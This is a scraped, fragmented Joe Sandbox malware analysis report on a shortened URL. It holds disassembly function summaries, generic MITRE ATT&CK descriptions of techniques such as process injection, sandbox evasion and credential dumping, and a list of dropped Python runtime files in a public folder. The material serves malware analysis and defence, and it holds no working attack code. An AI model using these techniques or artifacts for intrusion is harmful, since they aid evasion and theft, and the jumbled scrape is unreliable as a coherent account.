Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 567f755e4a8d6ac5ad0ee31f3a5f0b7c66b9f6ece467c38e240eacff28714e95
Instruction ID: 13bae16421e68270bc7b35084a6dab906f105712d083dff6177620b2507c959e
Opcode Fuzzy Hash: 567f755e4a8d6ac5ad0ee31f3a5f0b7c66b9f6ece467c38e240eacff28714e95
Instruction Fuzzy Hash: D811A332619B8182EB218F15F44426A77E4FB88B84F185234EFAC47794EF3ED451C700

Function 00007FF6F67B6DA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF6F67B6DAB

Strings

vector too long, xrefs: 00007FF6F67B6DA4
Unknown exception, xrefs: 00007FF6F67B6DC5

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Unknown exception$vector too long
API String ID: 909987262-3512715362
Opcode ID: 5a2a578558bb97dd75ff35d56009137e1792be7a08398f123a0e25ce396352a6
Instruction ID: aa4076c5d1d1e5f78a9364da267c864262917eca30fa9fd11666be575faa6870
Opcode Fuzzy Hash: 5a2a578558bb97dd75ff35d56009137e1792be7a08398f123a0e25ce396352a6
Instruction Fuzzy Hash: E8C01222A36945E6EF00DF04C8943A42338EB48708FA04C7AC13CC11B0EF3ED88AC320

Function 00007FF6F67FE5A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6F67FE4AB,?,?,?,00007FF6F67D8B36,?,?,?), ref: 00007FF6F67FE5AF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6F67FE4AB,?,?,?,00007FF6F67D8B36,?,?,?), ref: 00007FF6F67FE5BA

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF6F67FE5C4

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: 23ef313d4b2ceb6afa4fd105b0f0ce9b617b5aa744b4b047f19d6b8b7c52f7f6
Instruction ID: 2fa837ffb629c633b6788d596d318fce18fecbb8e1f6ffefd1c13a001b4ed137
Opcode Fuzzy Hash: 23ef313d4b2ceb6afa4fd105b0f0ce9b617b5aa744b4b047f19d6b8b7c52f7f6
Instruction Fuzzy Hash: E9E04F61E2880292F700A731AC921742318AF51730FA00335D13ED25E5BF2EA5868361

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://t.ly/-kxCO

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\QExvbmVOb25l\DLLs\_asyncio.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_bz2.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_ctypes.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_decimal.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_elementtree.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_hashlib.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_lzma.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_msi.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_multiprocessing.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_overlapped.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_queue.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_socket.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_sqlite3.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_ssl.pyd

C:\Users\Public\QExvbmVOb25l\DLLs\_uuid.pyd

Windows Analysis Report
https://t.ly/-kxCO

C:\Users\Public\QExvbmVOb25l\Lib\future.py

C:\Users\Public\QExvbmVOb25l\Lib\phello.foo.py

C:\Users\Public\QExvbmVOb25l\Lib\pycache\future.cpython-310.pyc.56028000

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_collections_abc.cpython-310.pyc.22023872

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_compression.cpython-310.pyc.56030880

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_sitebuiltins.cpython-310.pyc.22051712

C:\Users\Public\QExvbmVOb25l\Lib\pycache\_weakrefset.cpython-310.pyc.55933096

C:\Users\Public\QExvbmVOb25l\Lib\pycache\abc.cpython-310.pyc.15056192

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ast.cpython-310.pyc.70517248

C:\Users\Public\QExvbmVOb25l\Lib\pycache\base64.cpython-310.pyc.25841984

C:\Users\Public\QExvbmVOb25l\Lib\pycache\bisect.cpython-310.pyc.25653280

C:\Users\Public\QExvbmVOb25l\Lib\pycache\bz2.cpython-310.pyc.55516672

C:\Users\Public\QExvbmVOb25l\Lib\pycache\calendar.cpython-310.pyc.30423616

C:\Users\Public\QExvbmVOb25l\Lib\pycache\codecs.cpython-310.pyc.15056192

C:\Users\Public\QExvbmVOb25l\Lib\pycache\contextlib.cpython-310.pyc.56025696

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copy.cpython-310.pyc.61345184

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copy.cpython-310.pyc.75075808

C:\Users\Public\QExvbmVOb25l\Lib\pycache\copyreg.cpython-310.pyc.22175136

C:\Users\Public\QExvbmVOb25l\Lib\pycache\csv.cpython-310.pyc.74120512

C:\Users\Public\QExvbmVOb25l\Lib\pycache\datetime.cpython-310.pyc.30422368

C:\Users\Public\QExvbmVOb25l\Lib\pycache\dis.cpython-310.pyc.70518784

C:\Users\Public\QExvbmVOb25l\Lib\pycache\enum.cpython-310.pyc.25844768

C:\Users\Public\QExvbmVOb25l\Lib\pycache\fnmatch.cpython-310.pyc.55516672

C:\Users\Public\QExvbmVOb25l\Lib\pycache\functools.cpython-310.pyc.22172448

C:\Users\Public\QExvbmVOb25l\Lib\pycache\genericpath.cpython-310.pyc.21830944

C:\Users\Public\QExvbmVOb25l\Lib\pycache\glob.cpython-310.pyc.70919328

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hashlib.cpython-310.pyc.25649184

C:\Users\Public\QExvbmVOb25l\Lib\pycache\heapq.cpython-310.pyc.69413440

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hmac.cpython-310.pyc.59994432

C:\Users\Public\QExvbmVOb25l\Lib\pycache\hmac.cpython-310.pyc.69412192

C:\Users\Public\QExvbmVOb25l\Lib\pycache\inspect.cpython-310.pyc.70517248

C:\Users\Public\QExvbmVOb25l\Lib\pycache\io.cpython-310.pyc.20644048

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ipaddress.cpython-310.pyc.74905312

C:\Users\Public\QExvbmVOb25l\Lib\pycache\keyword.cpython-310.pyc.22172736

C:\Users\Public\QExvbmVOb25l\Lib\pycache\linecache.cpython-310.pyc.59561504

C:\Users\Public\QExvbmVOb25l\Lib\pycache\locale.cpython-310.pyc.30423904

C:\Users\Public\QExvbmVOb25l\Lib\pycache\lzma.cpython-310.pyc.56025120

C:\Users\Public\QExvbmVOb25l\Lib\pycache\mimetypes.cpython-310.pyc.74118208

C:\Users\Public\QExvbmVOb25l\Lib\pycache\netrc.cpython-310.pyc.87387264

C:\Users\Public\QExvbmVOb25l\Lib\pycache\ntpath.cpython-310.pyc.20617024

C:\Users\Public\QExvbmVOb25l\Lib\pycache\nturl2path.cpython-310.pyc.56026752

C:\Users\Public\QExvbmVOb25l\Lib\pycache\opcode.cpython-310.pyc.70517152

C:\Users\Public\QExvbmVOb25l\Lib\pycache\operator.cpython-310.pyc.22174944

C:\Users\Public\QExvbmVOb25l\Lib\pycache\os.cpython-310.pyc.20648144

C:\Users\Public\QExvbmVOb25l\Lib\pycache\pathlib.cpython-310.pyc.60842208

C:\Users\Public\QExvbmVOb25l\Lib\pycache\pathlib.cpython-310.pyc.73867296

C:\Users\Public\QExvbmVOb25l\Lib\pycache\platform.cpython-310.pyc.71505152

C:\Users\Public\QExvbmVOb25l\Lib\pycache\platform.cpython-310.pyc.76985216

C:\Users\Public\QExvbmVOb25l\Lib\pycache\posixpath.cpython-310.pyc.55514464

C:\Users\Public\QExvbmVOb25l\Lib\pycache\queue.cpython-310.pyc.69413824

C:\Users\Public\QExvbmVOb25l\Lib\pycache\quopri.cpython-310.pyc.25651680

C:\Users\Public\QExvbmVOb25l\Lib\pycache\random.cpython-310.pyc.25652256

C:\Users\Public\QExvbmVOb25l\Lib\pycache\re.cpython-310.pyc.25768232

C:\Users\Public\QExvbmVOb25l\Lib\pycache\reprlib.cpython-310.pyc.22175136

C:\Users\Public\QExvbmVOb25l\Lib\pycache\selectors.cpython-310.pyc.30422080

C:\Users\Public\QExvbmVOb25l\Lib\pycache\shlex.cpython-310.pyc.87387168

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre